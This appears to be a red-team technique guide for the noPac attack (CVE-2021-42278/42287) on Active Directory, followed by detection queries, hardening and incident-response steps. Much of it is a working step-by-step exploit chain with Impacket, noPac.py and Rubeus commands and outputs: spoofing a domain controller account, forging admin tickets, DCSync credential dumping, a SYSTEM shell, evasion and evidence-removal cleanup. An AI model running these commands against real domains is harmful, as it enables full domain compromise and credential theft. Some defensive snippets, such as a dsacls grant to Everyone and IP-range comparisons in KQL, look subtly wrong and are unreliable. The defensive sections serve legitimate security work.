| Attribute | Details |
|---|---|
| Technique ID | PE-TOKEN-006 |
| MITRE ATT&CK v18.1 | T1134.005 - Access Token Manipulation: Modifying Account Attributes |
| Tactic | Privilege Escalation / Domain Admin Elevation |
| Platforms | Windows AD |
| Severity | Critical |
| CVE | CVE-2021-42278 (sAMAccountName bypass), CVE-2021-42287 (PAC verification bypass) |
| Technique Status | ACTIVE but FIXED (soft patch KB5008102 Nov 2021, enforcement mode required) |
| Last Verified | 2025-01-08 |
| Affected Versions | Server 2016, 2019, 2022 (before KB5008102 enforcement); Server 2025 (patched by default) |
| Patched In | KB5008102 (soft block Nov 2021) + Enforcement mode (mandatory after grace period) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: SamAccountName spoofing (CVE-2021-42278 combined with CVE-2021-42287) is a critical privilege escalation technique that enables an unprivileged domain user to escalate to Domain Administrator privileges without requiring credentials, network access to legitimate administrators, or exploitation of software vulnerabilities. The attack exploits two design flaws in Active Directory’s Kerberos implementation: (1) lack of validation for the trailing dollar sign ($) in computer account sAMAccountName attributes, and (2) improper PAC (Privilege Attribute Certificate) verification during inter-realm Kerberos operations. By creating a spoofed computer account named after a domain controller (without the $ suffix), obtaining a Ticket Granting Ticket (TGT) for that spoofed identity, and then requesting a service ticket via S4U2Self (Service for User to Self), an attacker tricks the KDC into issuing a service ticket for a domain administrator account. This technique is known as “noPac” (no Privilege Attribute Certificate validation).
Attack Surface: Active Directory Kerberos authentication subsystem, specifically the Key Distribution Center (KDC) running on domain controllers. The attack chain involves: (1) AD computer account creation/modification (LDAP/SAMR), (2) Kerberos TGT/ST requests (port 88), (3) Service Ticket forging via S4U2Self.
Business Impact: Critical – Complete Domain Compromise. Successful exploitation grants an attacker full domain administrator privileges from a standard user account. This enables: DCSync (domain credential dump), GPO modification, lateral movement to all systems, ransomware deployment, and persistent backdoor creation. The attack is indistinguishable from legitimate administrative activity and leaves minimal forensic evidence if logging is not properly configured.
Technical Context: The exploitation is extremely rapid (< 5 minutes) and requires only network connectivity to the KDC (port 88/TCP). Detection is challenging because all actions appear legitimate in AD logs unless specific audit rules are enabled. The technique is fully weaponized with public tools (noPac, Impacket addcomputer/getTGT/getST, Rubeus).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.3.2 (Account Operators) | Restrict user ability to create computer accounts (MachineAccountQuota) |
| DISA STIG | V-42403 | Enforce restrictive group membership for privileged operations |
| CISA SCuBA | AC-2(1) | Account Creation / Modification Controls |
| NIST 800-53 | AC-2 | Account Management; AC-3 - Access Control Enforcement |
| GDPR | Art. 32 | Technical security of processing; Art. 33 - Breach notification |
| DORA | Art. 9 | Protection and Prevention; Art. 18 - Monitoring and logging |
| NIS2 | Art. 21 | Cybersecurity risk management measures |
| ISO 27001 | A.9.2.3 | Privileged access rights; A.9.4.1 - Information access restriction |
| ISO 27005 | Risk Assessment | Unauthorized elevation via identity attacks |
Supported Versions:
Dependencies & Tools:
addcomputer.py: Create/modify computer accountsaddspn.py: Manage Service Principal NamesrenameMachine.py: Rename computer accounts (change sAMAccountName)getTGT.py: Request Kerberos TGTgetST.py: Request Kerberos Service Ticket with S4U2Self# Method 1: PowerShell AD Module
Get-ADDomain | Select-Object @{N='MachineAccountQuota'; E={$_.ms-DS-MachineAccountQuota}}
# Method 2: LDAP Query (if AD module not available)
Get-ADObject -Identity (Get-ADDomain).distinguishedName -Properties "ms-DS-MachineAccountQuota" | Select-Object Name, "ms-DS-MachineAccountQuota"
What to Look For:
Expected Output:
ms-DS-MachineAccountQuota
------------------------
10
# List all domain controllers
Get-ADDomainController -Filter * | Select-Object Name, HostName, IPv4Address
# Alternative (without AD module):
nltest /dclist:DOMAIN.COM
What to Look For:
DC01 or DC-PROD-01# Check KB5008102 presence and enforcement
Get-HotFix | Where-Object { $_.HotFixID -match "KB5008102" }
# If patch installed, check if enforcement is active
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v KdcSamAccountNamePrefix
Expected Output (If Vulnerable):
No output or REG_DWORD 0x0 (enforcement NOT active)
Expected Output (If Patched & Enforced):
KdcSamAccountNamePrefix REG_DWORD 0x1
# Check Kerberos configuration
cat /etc/krb5.conf
# Query domain for MachineAccountQuota (via Impacket)
python3 -m impacket.scripts.lookupsid 'DOMAIN.LOCAL/USERNAME:PASSWORD@DOMAIN_CONTROLLER'
# Check if noPac works (initial scan)
python3 noPac.py 'DOMAIN.LOCAL/USERNAME:PASSWORD' -dc-ip DOMAIN_CONTROLLER --no-add
What to Look For:
Supported Versions: Server 2016-2022 (pre-KB5008102 or without enforcement)
Objective: Create a new computer account that the attacker will control. This account will be renamed to impersonate a domain controller.
Command:
python3 addcomputer.py -computer-name 'ATTACKER_MACHINE$' -computer-pass 'ComputerPassword123!' 'DOMAIN.LOCAL/USERNAME:PASSWORD@DC_IP'
Parameters Explained:
-computer-name: Name for the new computer account (will be renamed later)-computer-pass: Password for the new account (must be set for later S4U2Self requests)DOMAIN.LOCAL/USERNAME:PASSWORD: Credentials of standard domain user@DC_IP: IP address of domain controllerExpected Output:
[*] Requested to create computer: ATTACKER_MACHINE$
[*] User DOMAIN\USERNAME password: Password123!
[*] User Name: ATTACKER_MACHINE$
[*] Computer Name: ATTACKER_MACHINE
[+] Computer account created successfully.
What This Means:
Version Note: Process identical across Server 2016-2022.
OpSec & Evasion:
Troubleshooting:
Objective: Remove SPN entries to allow renaming the account to a domain controller name without conflicts.
Command:
python3 addspn.py --clear -t 'ATTACKER_MACHINE$' -u 'DOMAIN\USERNAME' -p 'PASSWORD' 'DC_HOSTNAME.DOMAIN.LOCAL'
Parameters:
--clear: Clear all SPNs for the target account-t: Target account name-u: Username for authentication-p: PasswordExpected Output:
[*] Clearing SPNS for: ATTACKER_MACHINE$
[+] SPN removed successfully
What This Means:
OpSec & Evasion:
Objective: Modify the sAMAccountName attribute to match a domain controller’s name (WITHOUT the trailing $).
Command:
python3 renameMachine.py -current-name 'ATTACKER_MACHINE$' -new-name 'DC01' 'DOMAIN.LOCAL/USERNAME:PASSWORD@DC_IP'
Parameters:
-current-name: Current computer account name (with $)-new-name: Target name (DC name without $, creating the spoofing condition)Expected Output:
[*] Renaming ATTACKER_MACHINE$ to DC01
[+] SamAccountName change: ATTACKER_MACHINE$ -> DC01
What This Means:
This is the Core Exploit: No validation prevents a computer account from lacking the trailing $, so it can now impersonate any user account name (including DC accounts).
Version Note:
Troubleshooting:
Objective: Obtain a TGT as if the attacker is the DC (using the spoofed “DC01” sAMAccountName).
Command:
python3 getTGT.py -dc-ip 'DC_IP' 'DOMAIN.LOCAL/DC01:ComputerPassword123!'
Parameters:
-dc-ip: Domain controller IP (where KDC is running)DOMAIN.LOCAL/DC01:ComputerPassword123!: The spoofed DC account and its password (set in Step 1)Expected Output:
[*] Getting TGT for user DC01@DOMAIN.LOCAL
[*] Using DC IP: 10.0.0.1
[+] TGT obtained successfully
[+] Ticket saved to: DC01.ccache
What This Means:
Key Insight: This is the normal Kerberos step. The abuse comes next, when using this TGT.
OpSec & Evasion:
Objective: Change the sAMAccountName back to the original name. This triggers CVE-2021-42287’s PAC verification bypass.
Command:
python3 renameMachine.py -current-name 'DC01' -new-name 'ATTACKER_MACHINE$' 'DOMAIN.LOCAL/USERNAME:PASSWORD@DC_IP'
Expected Output:
[*] Renaming DC01 back to ATTACKER_MACHINE$
[+] SamAccountName change: DC01 -> ATTACKER_MACHINE$
What This Means:
Technical Detail (The PAC Bypass): When the attacker requests a service ticket using the DC01 TGT with S4U2Self:
Objective: Use the TGT from Step 4 (paired with the renamed account from Step 5) to request a service ticket impersonating a domain administrator.
Command:
export KRB5CCNAME=DC01.ccache
python3 getST.py -self -impersonate 'Administrator' -altservice 'cifs/DC01.DOMAIN.LOCAL' \
-k -no-pass -dc-ip 'DC_IP' 'DOMAIN.LOCAL/DC01'
Parameters:
export KRB5CCNAME=DC01.ccache: Use the TGT obtained in Step 4-self: Request S4U2Self (service ticket for the TGT owner)-impersonate: Request on behalf of this user (Administrator)-altservice: Alternative service SPN to request (cifs/DC01 for file access)-k: Use Kerberos authentication-no-pass: No password needed (using cached TGT)DOMAIN.LOCAL/DC01: The spoofed identity (must match TGT)Expected Output:
[*] Requesting service ticket for DC01 (impersonating Administrator)
[*] Using TGT from: DC01.ccache
[+] Service ticket obtained
[+] Ticket saved to: Administrator@cifs-DC01.DOMAIN.LOCAL.ccache
What This Means:
The CVE Chain Summary:
Objective: Exploit the obtained service ticket to access domain controller and escalate to full domain compromise.
Option A: DCSync (Dump Domain Credentials)
export KRB5CCNAME=Administrator@cifs-DC01.DOMAIN.LOCAL.ccache
python3 secretsdump.py -k -no-pass 'DOMAIN.LOCAL/Administrator@DC01.DOMAIN.LOCAL'
Expected Output:
[*] DCSync attack successful
[*] Dumping domain credentials:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1a80b923ef00ac41b471e1f0c6b1fa03:::
... (all domain credentials)
What This Means:
Option B: PSExec Remote Code Execution
export KRB5CCNAME=Administrator@cifs-DC01.DOMAIN.LOCAL.ccache
python3 psexec.py -k -no-pass 'DOMAIN.LOCAL/Administrator@DC01.DOMAIN.LOCAL' cmd.exe
Expected Output:
Type the output of the 'ipconfig' command and press return:
C:\> whoami
NT AUTHORITY\SYSTEM
C:\> hostname
DC01
What This Means:
OpSec & Evasion:
Supported Versions: Server 2016-2022 (pre-KB5008102 or without enforcement)
Objective: Execute the complete attack chain (Steps 1-7) in a single command.
Command (Scan Only):
python3 noPac.py 'DOMAIN.LOCAL/USERNAME:PASSWORD' -dc-ip 'DC_IP' -dc-host 'DC_HOSTNAME' --no-add
Expected Output:
[*] Checking if noPac is vulnerable...
[+] DOMAIN.LOCAL is vulnerable to noPac
Command (Full Exploitation - Create Account, Exploit, and Dump):
python3 noPac.py 'DOMAIN.LOCAL/USERNAME:PASSWORD' -dc-ip 'DC_IP' -dc-host 'DC_HOSTNAME' \
--impersonate 'Administrator' -dump
Expected Output:
[*] Creating computer account...
[+] Computer account created
[*] Requesting TGT...
[+] TGT obtained
[*] Requesting service ticket...
[+] Service ticket obtained
[*] Performing DCSync...
[+] Domain credentials dumped
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1a80b923ef00ac41b471e1f0c6b1fa03:::
What This Means:
Cleanup (Important for Stealth):
python3 noPac.py 'DOMAIN.LOCAL/USERNAME:PASSWORD' -dc-ip 'DC_IP' -dc-host 'DC_HOSTNAME' --cleanup
This removes: Spoofed computer account, clearing evidence of the attack.
Supported Versions: Server 2016-2022 (pre-KB5008102 or without enforcement)
Note: Rubeus is Windows-native; can be executed after obtaining initial access on a domain-joined Windows system.
Command (Create Computer Account):
.\Rubeus.exe computer /add /name:ATTACKER_MACHINE /samaccountname:DC01 /password:ComputerPassword123!
.\Rubeus.exe asktgt /user:DC01 /password:ComputerPassword123! /domain:DOMAIN.LOCAL /dc:DC01.DOMAIN.LOCAL /outfile:tgt.kirbi
.\Rubeus.exe s4u /ticket:tgt.kirbi /impersonateuser:Administrator /mspn:cifs/DC01.DOMAIN.LOCAL /ptt
Expected Output:
[+] Ticket is now in use by the current logon session!
Version: 0.10.x+ (current)
Installation:
pip3 install impacket
# Or clone and install:
git clone https://github.com/fortra/impacket.git
cd impacket
pip3 install .
Key Scripts for noPac:
addcomputer.py: Create computer accountrenameMachine.py: Rename computer account (change sAMAccountName)getTGT.py: Request Kerberos TGTgetST.py: Request service ticket with S4U2Selfsecretsdump.py: Extract credentials via DCSyncVersion: Latest (actively maintained)
Installation:
git clone https://github.com/Ridter/noPac.git
cd noPac
pip3 install -r requirements.txt
Usage:
# Vulnerability scan
python3 noPac.py 'DOMAIN/USERNAME:PASSWORD' -dc-ip DC_IP --no-add
# Full exploitation with credential dump
python3 noPac.py 'DOMAIN/USERNAME:PASSWORD' -dc-ip DC_IP -dc-host DC_HOSTNAME --impersonate Administrator -dump
# Cleanup spoofed account
python3 noPac.py 'DOMAIN/USERNAME:PASSWORD' -dc-ip DC_IP --cleanup
Version: Latest compiled release
Installation:
# Download pre-compiled or compile from source:
git clone https://github.com/GhostPack/Rubeus.git
cd Rubeus
# Compile in Visual Studio (release mode) or download pre-compiled exe
Usage:
.\Rubeus.exe computer /add /name:ATTACKERMACHINE /samaccountname:DC01 /password:P@ss123
.\Rubeus.exe asktgt /user:DC01 /password:P@ss123 /domain:domain.local /dc:dc01
.\Rubeus.exe s4u /impersonateuser:Administrator /mspn:cifs/dc01 /ticket:tgt.kirbi /ptt
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Add member to group" or OperationName =~ "Create.*computer"
| where TimeGenerated > ago(1h)
| project TimeGenerated, OperationName, InitiatedBy=tostring(InitiatedBy.user.userPrincipalName), TargetResources
| join (
SigninLogs
| where CreatedDateTime > ago(1h)
| where UserPrincipalName !in ("admin@contoso.com", "svc_*@contoso.com") // Whitelist admins
| project UserPrincipalName, IPAddress
) on $left.InitiatedBy == $right.UserPrincipalName
| extend IsHighRiskIP = (IPAddress !in ("10.0.0.0/8", "172.16.0.0/12")) // External IPs = high risk
| where IsHighRiskIP
What This Detects:
Manual Configuration Steps (Microsoft Sentinel):
Suspicious Computer Account CreationHigh5 minutes1 hourInitiatedByKQL Query:
let suspicious_names = dynamic(['DC', 'DC01', 'DC02', 'EXCH', 'SQL', 'FS']);
AuditLogs
| where OperationName =~ "Update computer"
| where TargetResources has "samaccountname"
| extend OldName = extract(@"OldValue:\s*(\S+)", 1, tostring(TargetResources[0].modifiedProperties[0].oldValue))
| extend NewName = extract(@"NewValue:\s*(\S+)", 1, tostring(TargetResources[0].modifiedProperties[0].newValue))
| where not(NewName endswith "$") // Computer accounts should END with $
| where NewName in (suspicious_names) or NewName matches regex @"DC\d{2}$|EXCH\d+$|SQL\d+$"
| project TimeGenerated, InitiatedBy=tostring(InitiatedBy.user.userPrincipalName), OldName, NewName, TargetResources
What This Detects:
Manual Configuration Steps: Same as Query 1, paste this query into the rule logic.
KQL Query:
SecurityEvent
| where EventID == 4769 // Kerberos service ticket requested
| where TicketOptions contains "forwarded" // S4U2Self has forwarded flag
| where ServiceName matches regex @"^cifs|ldap|krbtgt" // Common targets
| extend ClientName = tostring(split(ClientAddress, ':')[0])
| where ClientName !in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16") // External = suspicious
What This Detects:
Event ID: 4741 (Computer account created)
Manual Configuration Steps (Group Policy):
gpupdate /force on target domain controllersEvent ID: 4742 (Computer account modified)
Manual Configuration Steps:
dsacls "CN=Computers,DC=domain,DC=local" /G "Everyone:CCRC;computer"
Event ID: 4768 (Kerberos TGT issued)
Event ID: 4769 (Kerberos service ticket requested)
Minimum Sysmon Version: 13.0+
<Sysmon schemaversion="4.20">
<EventFiltering>
<!-- Detect Impacket/noPac tools (often named with specific patterns) -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">getTGT</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<CommandLine condition="contains">getST.py</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<CommandLine condition="contains">renameMachine</CommandLine>
</ProcessCreate>
<!-- Detect Rubeus execution -->
<ProcessCreate onmatch="include">
<Image condition="end with">Rubeus.exe</Image>
</ProcessCreate>
<!-- Detect unusual PowerShell AD modifications -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">Set-ADComputer</CommandLine>
<CommandLine condition="contains">samaccountname</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[(EventID=1)]]" -MaxEvents 10
Install and Enforce KB5008102 (Mandatory): This patch blocks sAMAccountName spoofing by enforcing the trailing $ requirement. Applies To Versions: Server 2016, 2019, 2022
Manual Steps (Patch Installation):
wusa.exe KB5008102-x64.msu /quiet /norestart
Manual Steps (Enable Enforcement Mode):
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v KdcSamAccountNamePrefix /t REG_DWORD /d 1 /f
net stop kdc
net start kdc
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v KdcSamAccountNamePrefix
# Should show: 0x1 (enabled)
Restrict MachineAccountQuota: Limit the number of computer accounts unprivileged users can create. Applies To Versions: All versions (via AD configuration)
Manual Steps (Set MachineAccountQuota to 0):
Manual Steps (PowerShell – Set MachineAccountQuota):
# Query current quota
Get-ADDomain | Select-Object @{N='MachineAccountQuota'; E={$_.ms-DS-MachineAccountQuota}}
# Set quota to 0 (disable unprivileged account creation)
Set-ADDomain -Identity (Get-ADDomain).DistinguishedName -Replace @{"ms-DS-MachineAccountQuota" = 0}
# Verify
Get-ADDomain | Select-Object @{N='MachineAccountQuota'; E={$_.ms-DS-MachineAccountQuota}}
Enable Comprehensive Audit Logging (Event 4741, 4742, 4768, 4769): Ensure all AD modifications and Kerberos requests are logged.
Manual Steps:
wevtutil set-log Security /retention:true /maxsize:1000000000
Deploy Threat Detection for Behavioral Indicators: Monitor for the attack chain in real-time.
Manual Steps (Microsoft Sentinel):
Restrict Computer Account Creation: Limit who can create computer accounts via ACL (Access Control List) modifications.
Manual Steps (Restrict Computers OU):
Monitor and Alert on Computer Account Modifications: Set up automated alerts for suspicious changes.
Manual Steps (Windows Event Forwarding):
wecutil qc
wecutil cs -cn SIEM_SERVER -aea true
Kerberos Policy Hardening:
Manual Steps (Group Policy):
# Check KB5008102 installed
Get-HotFix | Where-Object { $_.HotFixID -match "KB5008102" }
# Check enforcement mode
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v KdcSamAccountNamePrefix
# Check MachineAccountQuota
Get-ADDomain | Select-Object @{N='MachineAccountQuota'; E={$_.ms-DS-MachineAccountQuota}}
# Verify audit policies
auditpol /get /subcategory:"Computer Account Management" /r
auditpol /get /subcategory:"Kerberos Authentication Service" /r
Expected Output (If Secure):
KB5008102 installed: Yes
KdcSamAccountNamePrefix: 0x1 (enforcement enabled)
MachineAccountQuota: 0
Audit policies: Success and Failure enabled
noPac.py or Rubeus.exe in unusual directories (C:\Temp, C:\Windows\Temp).ccache files (Kerberos credential caches) in non-standard locations# Disconnect all network adapters on affected DC
Get-NetAdapter | Disable-NetAdapter -Confirm:$false
Manual (Azure):
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Export all AD objects modified in last 24 hours
Get-ADObject -Filter * -Properties whenChanged | Where-Object { $_.whenChanged -gt (Get-Date).AddDays(-1) } | Export-Csv C:\Evidence\ADChanges.csv
# Export computer accounts without trailing $
Get-ADComputer -Filter * | Where-Object { $_.sAMAccountName -notmatch '\$$' } | Export-Csv C:\Evidence\NonCompliantComputers.csv
Manual:
C:\Evidence\Security.evtx# Delete spoofed computer account
Remove-ADComputer -Identity 'ATTACKER_MACHINE$' -Confirm:$false
# Force password change for all domain admin accounts
Get-ADGroupMember -Identity 'Domain Admins' | Set-ADAccountPassword -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "TempPassword123!" -Force) -PassThru | Enable-ADAccount
# Force all computers to re-authenticate
Get-ADComputer -Filter * | Set-ADAccountPassword -Reset
Manual:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-001] / [REC-AD-003] | Enumerate domain structure; identify DC names and MachineAccountQuota |
| 2 | Initial Compromise | [IA-PHISH-001] / [IA-VALID-002] | Obtain standard domain user credentials (via phishing, stale account, etc.) |
| 3 | Privilege Escalation | [PE-TOKEN-006] SamAccountName Spoofing | Create spoofed DC account; request admin service ticket via S4U2Self |
| 4 | Credential Access | [CA-DUMP-002] | DCSync to extract domain credentials (krbtgt, all users, computers) |
| 5 | Persistence | [PE-ACCTMGMT-014] | Create hidden admin account; establish backdoor |
| 6 | Lateral Movement | [LM-AUTH-001] / [LM-AUTH-011] | Use stolen credentials for Pass-the-Hash / Overpass-the-Hash to compromise all systems |
| 7 | Impact | Ransomware Deployment / Data Exfiltration | Full domain compromise achieved |